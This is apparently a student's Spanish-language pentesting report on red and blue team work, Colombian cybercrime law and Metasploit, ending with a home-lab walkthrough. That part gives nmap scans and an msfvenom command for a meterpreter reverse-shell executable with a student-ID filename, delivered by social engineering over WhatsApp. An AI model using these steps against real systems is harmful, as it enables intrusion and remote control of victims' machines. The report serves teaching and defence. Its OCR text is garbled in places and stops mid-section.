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RESUMEN

En el presente documento informe técnico, se desarrollan temas que apoyan a las
organizaciones para la proteccion de sus infraestructuras de tecnologia,
comenzando por el analisis de los marcos regulatorios vigentes y su aplicacion
empresarial, luego se conceptualiza y se analiza de manera practica la pertinencia
de la implementacion de equipos de seguridad red team, blue team lo que refuerza
a las organizaciones en procesos como los pentesting para la evaluacion de las
amenazas a las que esta expuesta su tecnologia para generar estrategias de
monitoreo, deteccion y contencion de posibles ataques cibercriminales, dando
como resultado la implementacion de buenas practicas de proteccion de sus
sistemas tecnologicos que apoyan la operacibn de una organizacion y
sensibilizando a todas las instancias en cuanto a la gravedad que podria incurrir
en caso de la materializacion de cualquiera de las amenazas detectadas.

Palabras Clave: Amenazas, Marco regulatorio, Pentesting, Blue Team, Red Team.
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GLOSARIO

ATAQUES DE FUERZA BRUTA: Intentos repetidos de adivinar contrasefias
probando todas las combinaciones posibles por medio de algoritmos y diccionarios
especializados para este fin.

BLUE TEAM: Equipo de defensa de seguridad informatica que se encarga de la
prevencion, deteccion y mitigacion de amenazas de manera proactiva.

FIREWALL: Dispositivo o software que filtra el trafico de red para de esta manera
evitar intrusiones de usuarios malintencionados y data maliciosa.

HACKER ETICO: Profesional de la seguridad que utiliza sus habilidades para
identificar y corregir vulnerabilidades.

IDS (Intrusion Detection System): Sistema que monitorea la red en busca de
actividades sospechosas o ataques y alertar a los especialistas y asi reaccionar
ante un incidente.

MULTI-FACTOR AUTHENTICATION (MFA): Uso de varios métodos de
autenticacion para validar la identidad de un usuario de un servicio de tecnologia.

PARCHEO: Aplicacion de actualizaciones de seguridad para corregir
vulnerabilidades conocidas sobre sistemas operativos y software de terceros.

PENETRATION TESTING: Evaluacion de seguridad que implica intentos
controlados de explotar vulnerabilidades y determinar su alcance en una
infraestructura de TI.

PURPLE TEAM: Un enfoque que combina la colaboracion entre Red Team y Blue
Team para mejorar la colaboracion y la respuesta a amenazas.

RANSOMWARE: Malware o cédigo malicioso que por medio de cifrado datos
impide el acceso a estos para exigir un rescate para su desbloqueo.

RED TEAM: Especialistas en seguridad que simula ataques cibernéticos
controlados para evaluar la postura de seguridad de una organizacion.

SIEM (Security Information and Event Management): Plataforma que recopila y
analiza datos de seguridad para detectar y alertar sobre las posibles amenazas.

ZERO-DAY VULNERABILITY: Una vulnerabilidad de software desconocida para el
fabricante y los defensores de una infraestructura de tecnologia.



INTRODUCCION

La seguridad informatica se ha convertido en un pilar fundamental en la era digital
actual donde los activos de tecnologia como la informacion, datos, sistemas
tecnologicos, cobran una alta criticidad para las organizaciones del gobierno y
privadas, y esto en gran medida es causado no solo por la gran herramienta que
es en la operacion, sino también por el aumento de las amenazas latentes que
hacen que las organizaciones estén en constante evaluacion en la robustez de sus
sistemas, monitoreando, identificando y mitigando las posibles brechas de
seguridad.

Esta autoevaluacién de robustez en ciberseguridad , esta apoyada en normas
legales vigentes , estrategias técnicas como equipos de seguridad red team, blue
team, y purple team , metodologias comprobadas por expertos en seguridad , lo
que genera buenas practicas para la proteccion de las organizaciones en esta
frontera de la tecnologia.



1 OBJETIVOS
1.1 OBJETIVO GENERAL

Documentar a manera de informe técnico y ejecutivo. los procesos que desde los
equipos de seguridad RED TEAM, BLUE TEAM Y PURPLE TEAM, se generan
para la implementacion de un sistema de defensa en una infraestructura de
tecnologia incluyendo aspectos legales y técnicos.

1.2 OBJETIVOS ESPECIFICOS

e Determinar los aportes que los equipos de seguridad RED TEAM, BLUE
TEAM Y PURPLE TEAM, para la proteccion de la infraestructura de Tl en
una organizacion.

e Analizar las politicas de seguridad vigentes para los entornos de Tl junto
con las recomendaciones a implementar.

e Formular las conclusiones pertinentes luego de los ejercicios ejecutados por
los equipos de seguridad RED TEAM, BLUE TEAM Y PURPLE TEAM y asi
justificar la implementacion de buenas practicas ante las directivas de una
organizacion



2 DESARROLLO DEL INFORME

2.1 CONTEXTO ETICO Y LEGAL RED TEAM, BLUE TEAM

2.1.1 Laley 1273 de 2009 o también denominada de “Delitos informaticos” tiene
como objetivo establecer sanciones y normas que protejan la integridad y
disponibilidad de la informacion contenida en las infraestructuras de
tecnologia tanto del sector publico como del privado en Colombia.

Esta ley esta conformada por dos capitulos con sus articulos asi:

CAPITULO | De los atentados contra la confidencialidad, la integridad y la
disponibilidad de los datos y de los sistemas informaticos

Articulo 269A: Acceso abusivo a un sistema informatico. Se refiere a
los delitos relacionados con la intrusion parcial o completa, de
manera abusiva a un sistema informético protegido o no, y que asi
mismo oponga resistencia de exclusion a quienes tengan la potestad
técnica para realizarlo. Estos delitos pueden generar sanciones de
pena de prision de 49 a 96 meses y multa de 100 a 1000 salarios
minimos legales mensuales vigentes

Articulo 269B: Obstaculizacion ilegitima de sistema informético o red
de telecomunicacién. Se establecen pena de prision de 48 a 96
meses y multa de 100 a 1000 salarios minimos legales mensuales
vigentes a individuos u organizaciones que de manera técnica impida
el buen funcionamiento de un sistema informético y acceso a sus
datos como también a infraestructura de telecomunicaciones.

Articulo 269C: Interceptacion de datos informaticos. Este articulo
aborda el delito de la interceptacion de datos informéticos y que sin
orden judicial lo realice en el origen , destino o interior de una
infraestructura de tecnologia y sus datos alojados alli, incluyendo
esta interceptacion a emisiones electromagnéticas del sistema
informatico, esta conducta puede incurrir en penas de prision de 36 a
72 meses.

Articulo 269D: Dafio informatico. Se relaciona con cualquier tipo de
destruccion, eliminacion, alteracion, de datos informaticos incluyendo
sus componentes légicos, incurria en sancién de pena de prisién de
48 a 96 meses y en multa de 100 a 1.000 salarios minimos legales
mensuales vigentes.



Articulo 269E: Uso de software malicioso. Se refiere a quien de
manera malintencionada produzca, trafique, distribuya, use, en el
territorio nacional programas o software con fines maliciosos y que
generen caos Yy destruccibn en un sistema de informaciéon. Esta
conducta tiene como sancion, pena de prision de 48 a 96 meses y
en multa de 100 a 1.000 salarios minimos legales mensuales
vigentes.

Articulo 269F: Violacion de datos personales. Se refiere a los
individuos y/o organizaciones que sin la autorizacién apropiada y con
el objetivo de obtener provecho propio o para un tercero de manera
abusiva, obtenga , trate, sustraiga, divulgue, modifique, informacion
personal contenida en sistemas informaticos incluyendo bases de
datos y archivos. Esta conducta establece como sancién, pena de
prision de 48 a 96 meses y en multa de 100 a 1.000 salarios minimos
legales mensuales vigentes.

Articulo 269G: Suplantacion de sitios web para capturar datos
personales. Establece pena de prision de 48 a 96 meses y en multa
de 100 a 1.000 salarios minimos legales mensuales vigentes, a
quien de manera y con fines mal intencionados y fraudulentos
despliegue sitios web, ventanas emergentes, mensajes con el
objetivo de conseguir informacion personal de usuarios para
provecho propio o de un tercero.

Articulo 269H: Circunstancias de agravacion punitiva. De acuerdo a
los articulos descritos anteriormente, se establece que las penas
tendran un aumento de la mitad a las tres cuartas partes si se
cometen contra:

1. Sobre redes o sistemas informaticos o de comunicaciones
estatales u oficiales o del sector financiero, nacionales o extranjeros.
2. Por servidor publico en ejercicio de sus funciones.

3. Aprovechando la confianza depositada por el poseedor de la
informacion o por quien tuviere un vinculo contractual con este.

4. Revelando o dando a conocer el contenido de la informacion en
perjuicio de otro.

5. Obteniendo provecho para si o para un tercero.

6. Con fines terroristas 0 generando riesgo para la seguridad o
defensa nacional.

7. Utilizando como instrumento a un tercero de buena fe.

8. Si quien incurre en estas conductas es el responsable de la
administracion, manejo o control de dicha informacion, ademas se le
impondra hasta por tres afos, la pena de inhabilitacion para el



ejercicio de profesion relacionada con sistemas de informacion
procesada con equipos computacionales.

CAPITULO II De los atentados informaticos y otras infracciones

Articulo 2691: Hurto por medios informaticos y semejantes. Al que por
medio de herramientas tecnoldgicas o suplantacién de usuarios con
accesos. logre superar las medidas de seguridad informatica y
manipule una infraestructura de tecnoldgica y cometa el delito
referenciado, puede incurrir en penas establecidas en el articulo 240
de este Cddigo.

Articulo 269J: Transferencia no consentida de activos. Se refiere a la
transferencia de activos o recursos de manera fraudulenta valiéndose
de herramientas de tecnologia para provecho propio o de terceros,
también a quien actle como proveedor o fabricante de estas
herramientas o servicios destinadas a la estafa incurrira en pena de
prision 48 a 120) meses y en multa de 200 a 1.500 salarios minimos
legales mensuales vigentes.

2.1.2 Ley 1581 de 2012 o ley de datos personales, tiene como objetivo regular y
proteger de manera constitucional el derecho fundamental de las personas
al tratamiento de sus datos, esto implica conocer, actualizar corregir, y que
se encuentran almacenados en bases de datos, sistemas de informacion,
archivos, por parte de entidades publicas y privadas, con el fin de garantizar
el correcto tratamiento y asegurando su seguridad y privacidad.

En esta ley se establecen regulaciones y se tratan temas importantes como:

Ambito de la aplicacion: aplica para entidades publicas o privadas que sean
susceptibles al tratamiento de los datos personales en Colombia.

Definiciones: se definen todos los términos relacionados con el tratamiento
de datos personales para si tener claro el alcance de la ley en el territorio
de Colombia

e Autorizacion: es el consentimiento previo que el titular de los datos
otorga para realizar el tratamiento de sus datos a una entidad.

e Base de Datos: datos organizados que son objeto de tratamiento por
parte de una entidad.



Dato personal: cualquier informacion relacionada o que determina a
una persona natural

Encargado del Tratamiento: Persona natural o juridica y de indole
publica o privada que tiene la responsabilidad del tratamiento de los
datos personales.

Responsable del Tratamiento: Persona natural o juridica, y de indole
publica o privada, y que tiene poder de decisién sobre las bases de
datos o el tratamiento de datos.

Titular: Persona natural duefia de datos personales y que pueden ser
objeto de Tratamiento

Tratamiento: Cualquier procedimiento aplicable a los datos
personales (recoleccion, almacenamiento, uso, circulacion o
eliminacion)

Principios Rectores: se definen una serie de principios que de manera
integral se deben seguir para el tratamiento de los datos, como:

Legalidad: el tratamiento de los datos debe ser acorde a las
reglamentaciones que se desarrollen en la presente ley

Finalidad: esta finalidad debe ser legitima de acuerdo a la ley
Libertad: el titular siempre debe dar su consentimiento para el
tratamiento de los datos

Transparencia: Es el derecho que tiene el titular de los datos a un
adecuado tratamiento de sus datos, para obtenerlos en cualquier
momento.

Veracidad o calidad: La informacién a tratar siempre de be ser
completa y de calidad para un correcto tratamiento.

Acceso y circulacion restringida: los datos deben ser tratados por
personal autorizado por el titular o por los que la ley autorice.
Seguridad: se deben usar los recursos, técnicos, humanos y
administrativo para dar seguridad a la informacion y evitar su uso
inadecuado Yy fraudulento.

Derechos de los titulares de datos: se especifican una serie de derechos
que los titulares cuyos datos van a ser gestionados por parte de las
entidades procesadoras como lo son conocer, actualizar, rectificar, suprimir
y también a presentar reclamos sobre el tratamiento.

Registro nacional de bases de datos: la entidad encargada a nivel nacional
es la Superintendencia de Industria y Comercio quien administra el



directorio de las bases de datos sujetas a tratamiento. Y es de libre consulta
para los ciudadanos.

Sanciones: La entidad que se encarga de imponer las sanciones a los
responsables del tratamiento de datos es la Superintendencia de Industria y
comercio las cuales pueden ser:

e Multas de caracter personal e institucional a favor de la
Superintendencia de Industria y Comercio hasta por el equivalente
de dos mil (2.000) salarios minimos mensuales legales vigentes al
momento de la imposicion de la sancion

e Suspension de las actividades relacionadas con el Tratamiento hasta
por un término de seis (6) meses.

e Cierre temporal de las operaciones relacionadas con el Tratamiento
una vez transcurrido el término de suspensiéon sin que se hubieren
adoptado los correctivos ordenados por la Superintendencia de
Industria y Comercio.

e Cierre inmediato y definitivo de la operacién que involucre el
Tratamiento de datos sensibles.



2.2 ETAPAS DE PENTESTING

El pentesting es un proceso o ataque simulado por medio del cual, de
manera controlada y metodolégica, busca evidenciar las vulnerabilidades
de un sistema informético para mejorar su seguridad ante posibles ataques
informaticos o evitar materializacion de amenazas. Este proceso ayuda a
las organizaciones y su infraestructura de Tecnologia a identificar fallas y
puntos débiles, e implementar buenas précticas de seguridad. Este
procedimiento conlleva una serie de etapas cada una de las cuales tienen
un fin especifico en su desarrollo, y que relacionamos a continuacion:

Recoleccion de Informacion (Footprinting): En esta etapa se recopila
la informacién del objetivo por parte del personal especializado en
pentesting como direcciones ip, registros whois, informacién de DNS,
sistemas operativos, herramientas tecnoldgicas usadas, empleados,
dominios.

También es valido encontrar informacion del objetivo desde fuentes
como motores de busqueda, redes sociales, herramientas de rastreo
y enumeracion, archivos publicos, y hasta reconocimiento fisico.

Dependiendo de la calidad de esta informacion recopilada se
obtienen los vectores adecuados de ataque para la ejecucion de un
buen andlisis, en esta etapa es posible apoyarse en herramientas de
recopilacion de informacion publica.

El footprinting no involucra acceso no autorizado ni intrusion a un
sistema informatico, y cobra relevancia pues es la base para obtener
informacion de calidad, comprender de manera mas profunda del
vector de ataque, evidenciar las vulnerabilidades y puntos débiles y
asi disefar las estrategias enfocadas para la realizacion de la prueba
de penetracion.

Herramientas mas usadas en Footprinting

Opensource

Nmap: Aunque es mas conocida para escaneo de puertos, esta
herramienta también puede recopilar informacién sobre puertos

abiertos, sistema operativo usado, hosts, y servicios

Maltego: esta herramienta tiene la capacidad de correlacionar
conexiones entre entidades y personas en linea involucrando



dominios, DNS, y direcciones ip, correo electronico, para recopilar
informacion relevante de un objetivo de pentesting.

TheHarvester: Tiene como funcionalidad principal recopilacion de
correos electronicos, subdominios, puertos abiertos, nombres de
empleados soportado en servicios como motores de busqueda.

Pagas o comerciales:

OpenVas: herramienta de escaneo de vulnerabilidades y pentesting
de cbdigo abierto que también cuenta con una version comercial con
funcionalidades adicionales

Core Impact: Herramienta para la automatizaciéon de procesos de
pentesting que promete la optimizacién de los recursos y garantiza el
enfoque a los especialistas en procesos mas complejos.

Criminal IP: proporciona motor de busqueda Cyber Threat
Intelligence identificando vulnerabilidades de entidades e individuos.

Andlisis de Vulnerabilidades: se evidencian en esta etapa las
posibles vulnerabilidades relacionadas con la infraestructura de
tecnologia a analizar como puertos abiertos, servicios de tecnologia,
fallos en software.

Explotacion: luego de la identificacion de las posibles
vulnerabilidades en esta etapa se realizan los intentos de explotacion
controlada esto para evidenciar su acceso informacién o equipos
sensibles.

Post-Explotacion: conseguido el acceso, se profundiza y se mantiene
como lo realizaria un atacante verdadero para evidenciar el alcance
de la vulnerabilidad.

Mantenimiento del Acceso (Persistencia): en esta fase se mantiene
el acceso de manera oculta.

Andlisis de Resultados y Generacion de Informes: en esta fase se
documentan las vulnerabilidades encontradas, las posibles
consecuencias, y las medidas de remediacion, se presenta informe
técnico y ejecutivo soportado siempre por evidencias para portar al
analisis credibilidad.
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e Limpieza y Restauracion: como medida de precaucion se debe dejar
el sistema o el objetivo de analisis como se encontré inicialmente
para evitar inconvenientes que afecten la funcionalidad.

2.3 FUNCIONAMIENTO, ARQUITECTURA'Y OPCIONES QUE TRAE
METASPLOIT DISPONIBLE DESDE KALI LINUX.

e Arquitectura:

llustracion 1 Arquitectura Metasploit

Metasploit Architecture

LIBRARIES INTERFACES

- Rex Console

A
CLI

MSF Core

N Web

PLUGINS » MSF Base " GUI
A

MODULES

Payloads Exploits Encoders Nops

Fuente: El autor

Metasploit se basa en una arquitectura modular y flexible:

-Exploits: Los exploits son mddulos disefiados para aprovechar
vulnerabilidades especificas en un sistema objetivo.

-Payloads: Los payloads son fragmentos de codigo que se ejecutan en
sistemas comprometidos después de una explotacidon exitosa. Pueden
usarse para diversas acciones, como el acceso remoto, la escalada de
privilegios y la extraccién de datos.

-Auxiliary: Estos modulos realizan tareas diversas, como el escaneo, la
recoleccion de informacion y la manipulacion de servicios.
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-Encoders: Los encoders transforman el payload para evadir mecanismos
de deteccion, como sistemas de antivirus.

-Nops: Estos modulos generan secuencias de instrucciones "no operation”
(NOP) para la alineacion de direcciones en exploits.

2.4 |IDENTIFICADOR CVE Y SU ESTRUCTURA.

Es un sistema de nomenclatura y enumeracion utilizado para identificar y
hacer un seguimiento de vulnerabilidades de seguridad en software y
hardware. La finalidad principal del sistema CVE es proporcionar una
manera estandarizada de referirse a vulnerabilidades especificas, lo que
facilita la comunicacion y el intercambio de informacidén sobre problemas de
seguridad entre diferentes organizaciones y proveedores.

La estructura de un identificador CVE es el siguiente:

CVE-YYYY-NNNNN

Donde:

CVE: Es el prefijo que indica que el identificador sigue el estdndar de
Common Vulnerabilities and Exposures.

YYYY: Representa el afio en el que se asigno el identificador.

NNNNN: Es un numero secuencial que identifica la vulnerabilidad
especifica dentro del afio en cuestion.

Cada CVE puede proporcionar informacion sobre la vulnerabilidad,
descripcion, impacto y soluciones, los CVE son usados por todo tipo de
organizaciones de seguridad de la informacién lo cual aporta en mejorar los
sistemas informéticos en todo el mundo.

En Exploit Database (Exploit-DB) se recopila informacion sobre
vulnerabilidades de seguridad y exploits con sus cdodigos y técnicas que
podrian ser usados para explotar en sistemas informéaticos

Asi las cosas, esto quiere decir que es posible buscar exploits en Exploit-
DB, de un cve determinado, usando su numero y relacionado con una
vulnerabilidad especifica.
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2.5 RECONOCIMIENTO DE BANCO DE TRABAJO
e Banco de trabajo

Infraestructura VirtualBox con dos maquinas virtuales Windows 10
y Kali Linux

llustraciéon 2 Infraestructura VirtualBox

1 N
J‘ | Herramientas " J—
o =
uuud Columnas, Actividad de MV
sl ] wio |
= Corriendo Contiene la carga de CPU Uso de RAM anfitrion Sistema de archivos anfitrién
Usuario: 0% 1910 Usada: 14.21 GB 89% Usada: 0B
Nucleo: 1% MHz Libre: 1.67 GB Usada Libre: 0 B
o kali-linux-2023.2-virtual... Total: 1% Total: 15.88 GB Total: 0 B
= Corriendo
Nombre VM CPU invitado CPU VMM RAM usada/total RAM %
wio 2% 43% N/A N/A
kali-linux-2023.2-virtualbox-amd64 2% 85% 724.10 MB/1.92 GB 36.81%

Fuente: El autor

Maquina host

Procesador

intel(R) Core(TM) i7-8650U CPU @ 1.90GHz 2.11 GHz
Memoria instalada

16.0 GB (15.9 GB utilizable)

Sistema operativo

Windows 11 de 64 bits, procesador x64

Disco duro SSD de 500 Gb
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llustracion 3 Maquina virtual Windows 10

L)
Herramientas {w} L{;f
uud Nueva Afadir  Configuracion De ar  Mostrar
R - - EP
64 wio w— General Previsualizacion
i~ Corriendo C— Nombre: wio
Sistema operativo: Windows 10 (64-bit)
ﬁ Kali-li 2023.2-vi d64 || sistema
W Comtendo Memoria base: 4096 MB
Procesadores: 2 )
Orden de arranque: Disquete, Optica, Disco duro, Red
Aceleracion: Paginacién anidada, Paravirtualizacion Hyper-V
M| pantalla
Memoria de video: 128 MB
Controlador gréfico: VBoxXSVGA
Servidor de escritorio remoto: Inhabilitado
Grabacion: Inhabilitado

&, Almacenamiento

Controlador: SATA
Puerto SATA 0: W10.vdi (Normal, 50.00 GB)
Puerto SATA 1: [Unidad dptica] Windows.iso (4.32 GB)

/) Audio

Controlador de anfitrion: Windows DirectSound
Controlador: Audio Intel HD

& Red

Fuente: El autor

Sistema operativo Windows 10
Direccion ip: 192.168.0.20
Ram: 4Gb

Procesadores: 2

llustracion 4 Configuracion de red maquina virtual Windows 10

Simbolo del sistema

A Escribe agui para buscar. { ~ O o §§ Q) EsP

Fuente: El autor
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llustracion 5 comprobacién comunicacién con maquina Kali Linux

R Escribe aqui para buscar.

Fuente: El autor

Ping para evidenciar comunicacién con maquina virtual Kali Linux

llustracion 6 Maquina virtual Kali Linux

v
C: ]Ij 9 §>
0 Herramientas {::,} rl‘_,}
. Nueva Afadir  Configuracion Descart Mostrar
o W10 W General M Previsualizacién
@ Corriendo Nombre: kali-linux-2023.2-virtualbox-amdé4
Sistema operativo: Debian (64-bit)
6a] 2023.2-vil d64 e & Sistema
¢ 2 e
= Corriendo Lie Memoria base: 2048 MB
Procesadores: 2 5
Orden de arranque: Disco duro, Optica
Aceleracion: Paginacion anidada, PAE/NX, Paravirtualizacion KVM
B pantalla
Memoria de video: 128 MB
Controlador grafico: VMSVGA
Servidor de escritorio remoto:  Inhabilitado
Grabacion: Inhabilitado

¥/ Almacenamiento

Controlador: IDE
Dispositivo IDE secundario 0: [Unidad dptica] Vacio
Controlador: SATA

Puerto SATA 0: kali-linux-2023.2-virtualbox-amdé4.vdi (Normal, 80.09 GB)
i Audio
Controlador de anfitrién: Windows DirectSound
Controlador: ICH AC97
=! Red

Fuente: El autor
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Sistema operativo Linux
Direccion ip: 192.168.0.21
Ram: 2Gb

Procesadores: 2

llustracion 7 configuracion de red maquina virtual Kali Linux

root@kali: ~

File Actions Edit View Help

etho: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.0.21 netmask 255 5.255.0 broadcast 192.168.0.255
inet6 2800:484:4671:7e00:e516:c9fe:3b2b:ef38 prefixlen 64 scopeid 0
File System x0<global>
inet6 2800 14671:7e00::8 prefixlen 128 scopeid 0x@<global>
inet6 fes80 8a3:1f03:9ff1:8f9b prefixlen 64 scopeid 0x20<link>
ether 08 7:53 ba txqueuelen 1000 (Ethernet)

f RX packets 1412 bytes 123292 (120.4 KiB)

RX errors @ dropped @ overruns @ frame 0
TX packets 515 bytes 65240 (63.7 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 5654 bytes 1347575 (1.2 MiB)
RX errors @ dropped @ overruns @ frame 0
TX packets 5654 bytes 1347575 (1.2 MiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

Fuente: El autor
llustracion 8 Comprobacién comunicacion con maquina virtual Windows 10

O ® A z20|a c

root@kali: ~
File Actions Edit View Help

192.168.0.20

e PING 192.168.0.20

N 64 bytes from 192
File System 64 bytes from 192.168.0. icmp_seq=2
64 bytes from 192. .0. icmp_seq=3
64 bytes from 192. 5 icmp_seq=4
64 bytes from 192.168.0. icmp_seq=5
ﬂ 64 bytes from 192.168.0. icmp_seq=6

64 bytes from 192.168. icmp_seq=7
64 bytes from 192.168.0. icmp_seq=8
64 bytes from .0. icmp_seq=9
64 bytes from 192.168. : icmp_seq=10 ttl=128 time=

Fuente: El autor
Ping para evidenciar comunicacion con maquina virtual Windows 10
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2.6 INFORME DE HERRAMIENTAS Y PROCEDIMIENTOS UTILIZADOS PARA
DAR SOLUCION AL ESCENARIO DE RED TEAM DE ACUERDO CON LOS
PASOS DEL PENTESTING.

Teniendo en cuenta las fases de pentesting y aplicandolos en el caso propuesto,
se relacionan las herramientas adecuadas en cada uno de ellos.

llustracion 9 Fases de Pentesting

\
*En esta fase se reune la informacién inicial del objetivo por parte de red
team como direcciones ip, DNS, sistemas operativos, puertos abiertos,
LSS servicios. Para la recopilacion de esta informacion se usa NMAP.

planificacion

J

'\
*Se evidencian y se localizan las posibles vulnerabilidades y debilidades
relacionadas con la infraestructura objetivo. En esta fase se usa la
e herramienta NMAP

7

Identificadas las vulnerabilidades en la etapa anterior se procede a los
intentos de intrusion hacia el objetivo. En esta fase se usa la herramienta
Metaesploit creando un archivo ejecutable payload personalizado con
MSFVENOM

*Luego del acceso se profundiza el ataque simulando un ataque
verdadero y controlado para asi evidenciar la gravedad de la
vulnerabilidad. En esta fase se usa msfconsole ejecutando el exploit
abriendo un meterpreter de comandos para asi controlar la maquina
objetivo

*En esta etapa se presenta la informacion del procedimiento de
pentesting demostrando credibilidad, evidenciando las vulnerabilidades
encontradas, su alcance y las posibles remediaciones por medio de
ilustraciones graficas del ataque.

Fuente: El autor

2.7 INFORME CON ANALISIS DEL CASO DE RED TEAM, QUE PERMITIO
DAR SOLUCION AL FALLO IDENTIFICADO.

Desde la maquina Kali se recopila informacion de la maquina objetivo usando
comandos y herramienta NMAP

e Con el comando netdiscover -r 192.168.0.0/24 se realiza escaneo de la red

para evidenciar los dispositivos que se encuentran conectados en donde se
localiza también el objetivo con la direccion ip 192.168.0.20
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llustracién 10 Escaneo de la red

root@kali: ~

File Actions Edit View Help

Currently scanning: Finished! Screen View: Unique Hosts

14 Captured ARP Req/Rep packets, from 6 hosts. Total size: 844
MAC Address Count Len MAC Vendor / Hostname

t3c: : Sagemcom Broadband SAS
: Sagemcom Broadband SAS
Intel Corporate
PCS Systemtechnik GmbH
Samsung Electronics Co.,Ltd
Xiaomi Communications Co Ltd

Fuente: El autor
e Con el comando nmap -O 192.168.0.20 , se evidencia informacion sobre el
sistema operativo del objetivo.

llustracion 11 Evidencia de sistema operativo objetivo

. root@kali: ~

File Actions Edit View Help

192.168.0.20
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-02 21:12 EDT
Nmap scan report for 192.168.0.20
Host is up (0.0011s latency)
Not shown: 992 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1801/tcp open msmq
2103/tcp open zephyr-clt
2105/tcp open eklogin
2107/tcp open msmg-mgmt
MAC Address: ©08:00:27:80:FE:BA (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Microsoft Windows 10
0S CPE: cpe:/o:microsoft:windows_10
0S details: Microsoft Windows 10 1709 - 1909
Network Distance: 1 hop

0S detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 37.84 seconds

Fuente: El autor
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e Con el comando nmap -p- 192.168.0.20 se realiza el escaneo de los puertos y

su estado, en donde se evidencia abiertos el 80, 445.
llustracion 12 Escaneo de puertos

root@kali: ~

File Actions Edit View Help

.org ) at 2023-99-02 21:15 EDT

FE:BA (Oracle virtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 35.21 seconds

Fuente: El autor

2.8 INFORME DE HERRAMIENTAS UTILIZADAS PARA DAR IDENTIFICAR
FALLOS EN EL ESCENARIO PROPUESTO.

e Por medio del comando nmap 192.168.0.20 -- script vuln se listan los puertos
abiertos.

e Al usar herramientas como Nmap escaneando Yy verificando el estado de los
puertos de un sistema Windows 10, se podria deducir sobre la ausencia de un
firewall si es posible acceder a puertos como el 80,443,445
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llustracion 13 Evidencia de los puertos abiertos

root@kali: ~

| _http d uldn't find any stor
| _http-domb: uldn't find DOM

msmq

E:BA (Oracle irtual NIC)

ENIED
_DENIED

: 1 IP address (1 host up) scanned in 1 55 seconds

Fuente: El autor

e A diferencia que con firewall y antivirus activado se evidencia a modo de
prueba en otra maquina virtual con comando Nmap -p- -A 192.168.0.22 que
este escaneo no es exitoso 0 no dan respuesta.

llustracion 14 Prueba escaneo con activacion firewall

root@kali: ~

3-09-09 19:26 EDT

are in ignored states.

virtual NIC
ny fingerprint ecific 05 details
Network Distance: 1 hop

TRACEROUTE
HOP RTT

performed. Please report an results at htt //nmap.org/submit/ .
Nmap done: d (1 host up) scanned in 133¢

Fuente: El autor
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2.9 ANALISIS DEL ATAQUE PRESENTADO A CADA UNA DE LAS MAQUINAS
IDENTIFICADAS.

e EIl framework de seguridad Metasploit, plataforma de pruebas de ethical
hacking que se usa para atacar y evaluar objetivos en cuanto a su
seguridad informética permitiendo a los especialistas de manera legitima
realizar intrusidn para generar mejoras en la seguridad de red y del sistema.

e Msfvenom, es una de las funcionalidades incluidas dentro de Metasploit
para la generacion de payloads o cargas Utiles maliciosas, usadas en
combinacion con exploits para explotar vulnerabilidades de un sistema, red
o0 aplicacion, logrando acceso no autorizado. Estos payloads generados por
msfvenom, pueden ser personalizados teniendo en cuenta parametros
como arquitectura de hardware ,sistema operativo objetivo y el tipo de
acceso que se quiere perpetrar.

e Comando para generacion del payload personalizado:
msfvenom -p Windows/x64/meterpreter/reverse_tcp --platform windows -a

x64 LHOST=192.168.0.21 LPORT=443 -f exe
>>/home/REDT/PoC_cedulaestudiante.exe

llustracion 15 Ejecucién de la creacidon de archivo .exe

f windows/x64/meterpreter/reverse_tcp ylatform windows -a x64
LHOST=192.168.0.21 LPORT=443 -f exe /home/REDT/PoC_cedulaestudiante.exe

No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes

Fuente: El autor

2.10 INFORME DE LA EXPLOTACION DE VULNERABILIDADES EN EL
ESCENARIO PROPUESTO.

e Una vez generado el archivo .exe payload personalizado para el ataque a la

maguina Windows 10 se procede por medio de ingenieria social por whats
app web, alojarlo en esta maquina objetivo listo para su ejecucion.
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llustracion 16 Archivo .exe en el sistema objetivo

o]

Papelerade
reciclaje

|2 [ =1ak - O

Inicie  Compartic  Vista
1T » alf v O D Buscarenalf
Nembre Tipe Tamaio
s+ Acceso répide
[5] PeC_cedulaestudiante Aplicacion TKB

[ Escritorio
¥ Descargas
[ Documentos
=] Imagenes
D Musica
System32
B Videos
@ OneDrive
[ Este equipo

¥ Red

1 elemento

£ Buscar M‘f?hk
Fuente: El autor

e Una vez creado el archivo .exe y colocado en la maquina objetivo se
procede a ejecutar el exploit desde la maquina Kali

llustracion 17 Ejecucidn del exploit

root@kali: ~

File Actions Edit View Help

CP handler o
4 byt

Fuente: El autor
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e A modo de prueba se activa la seguridad de la maquina Windows 10
(firewall y antivirus), los cuales detectan la amenaza encontrada, la coloca
en cuarentena y la identifica como Trojan:Win32/Metasploit!MTB

llustracion 18 Deteccion amenaza por windows defender

Resumen de amenazas:

Nombre
Deteccién

Detalles

Herramienta de reparacién

Amenaza puesta en
O cuarentena Grave
9/09/2023 4:48 p. m.

Detectado: Trojan:Win64/Metasploit.CRTD!MTB
Estado: En cuarentena

Los archivos en cuarentena estan en un area
restringida donde no pueden dafar el dispositivo.
Se quitardn automaticamente.

Fecha: 9/09/2023 4:49 p. m.
Detalles: Este programa es peligroso y ejecuta
comandos de un atacante.

Elementos afectados:

file: C\Users\ALFREDOR\Desktop\alf
\PoC_cedulzestudiante.exe

Mas informacién

Acciones

Fuente: El autor

llustracion 19 Consulta de la amenaza identificada

Troyano Metasploit
Troyano:Win32/Metasploit!MTB

Herramienta Metasploit que parece legitima pero que puede tomar
el control de su computadora.

& GridinSoft Antimalware

Vea si su sistema se ha visto afectado por el troyano Metasploit

Fuente: https://howtofix.guide/trojan-win32-metasploit-mtb/

2.11 EVIDENCIA DE
IDENTIFICADA.

LA EXPLOTACION DE LA VULNERABILIDAD

e caracteristicas de meterpreter

o Control remoto completo: una vez que se puede ejecutar un meterpreter
